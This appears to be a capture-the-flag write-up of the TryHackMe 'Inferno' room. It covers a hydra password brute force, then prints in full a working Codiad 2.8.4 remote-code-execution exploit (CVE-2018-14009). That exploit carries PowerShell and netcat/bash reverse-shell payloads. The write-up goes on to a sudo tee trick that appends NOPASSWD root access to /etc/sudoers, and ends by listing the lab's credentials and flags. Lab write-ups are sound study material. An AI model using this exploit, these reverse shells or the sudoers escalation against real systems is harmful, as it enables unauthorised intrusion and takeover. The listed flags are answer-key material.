Inferno_THM

Enumuration

1- Had a lot of open ports but only 22 and 80 were running services

2- We see a directory open /inferno and it requires authentitcation

3- so we bruteforce using hydra
4- we make a username list with possible usernames dante,admin,root etc
5- hydra -L usernames.txt -P ~/WordLists/rockyou.txt 10.10.24.111 -m /inferno http-get
6- Got valid credentials for admin user admin:dante1

Nmap

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
|   256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
|_  256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   202.53 ms 10.4.0.1
2   ... 3
4   460.91 ms 10.10.24.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.35 seconds
```

Exploitation

1- Found a cve for codiad service version 2.8.4
2-

cve-2018-14009

1- python3 49705.py http://admin:dante1@10.10.24.111/inferno/ admin dante1 10.4.30.255 6969 linux
2- as we logged in two times in /inferno directory once as a get form and then the codiad post form the exploit also needs to logge in twice
3- it was giving error when we only authenticated once
4- we get a reverse shell
5- we keep getting kicked out of the shell and we need to find a way to be presistent
6- we enumurate dante home directory again and again and keep getting kicked until we get a file in downloads

directory named .download.dat
7- it was hexdump we converted it to ascii and get ssh password
8-

code

```
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)
# Discovery by: WangYihang
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Tested Version: Version: 2.8.4
# CVE: CVE-2018-14009


#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import json
import base64
session = requests.Session()
def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    response = session.post(url, data=data, verify=False)
    content = response.text
    print("[+] Login Content : %s" % (content))
    if 'status":"success"' in content:
        return True
def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    response = session.get(url, verify=False)
    content = response.text
    print("[+] Path Content : %s" % (content))
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False
def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return base64.b64encode(result.encode()).decode().replace("\n", "")
```

```
def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")
def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' +
port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.text
        print(content)
def promote_yes(hint):
    print(hint)
    while True:
        ans = input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print("Incorrect input")
def main():
    if len(sys.argv) != 7:
        print("Usage : ")
        print("        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))
        print("Example : ")
        print("        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0]))
        print("        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0]))
        print("Author : ")
        print("        WangYihang <wangyihanger@gmail.com>")
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print("[+] Please execute the following command on your vps: ")
```

```
        print("nc -lnvp %d" % (port))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print("[+] Please execute the following command on your vps: ")
        print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port))
        print("nc -lnvp %d" % (port + 1))
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print("[+] Starting...")
    if not login(domain, username, password):
        print("[-] Login failed! Please check your username and password.")
        exit(2)
    print("[+] Login success!")
    print("[+] Getting writeable path...")
    path = get_write_able_path(domain)
    if path == False:
        print("[+] Get current path error!")
        exit(3)
    print("[+] Writeable Path : %s" % (path))
    print("[+] Sending payload...")
    exploit(domain, username, password, host, port, path, platform)
    print("[+] Exploit finished!")
    print("[+] Enjoy your reverse shell!")
if __name__ == "__main__":
    main()
```

Persistent shell

we kept getting kicked after 1 minute so it took multiple attempts to find this file

we found a .download.dat file in dante download direcrory

Â«Or seâ tu quel Virgilio e quella fonte
che spandi di parlar sÃ¬ largo fiume?Â»,
rispuosâio lui con vergognosa fronte.

Â«O de li altri poeti onore e lume,
vagliami â lungo studio e â grande amore
che mâha fatto cercar lo tuo volume.

Tu seâ lo mio maestro e â mio autore,
tu seâ solo colui da cuâ io tolsi
lo bello stilo che mâha fatto onore.

Vedi la bestia per cuâ io mi volsi;
aiutami da lei, famoso saggio,
châella mi fa tremar le vene e i polsiÂ».

dante:V1rg1l10h3lpm3

PostExploitation

We had /usr/bin/tee running as root

we can abuse this by writing our malicious code and then we can redirect that code into a priveleged file and write using tee

we provide full sudo access to our dante user and redirect to /etc/sudoers

echo 'dante ALL=(ALL) NOPASSWD:ALL' | sudo /usr/bin/tee -a /etc/sudoers

Loot

Credentials

/inferno credentials

admin:dante1

ssh credentials

dante:V1rg1l10h3lpm3

Flags

#local flag

77f6f3c544ec0811e2d1243e2e0d1835

proof flag

f332678ed0d0767d7434b8516a7c6144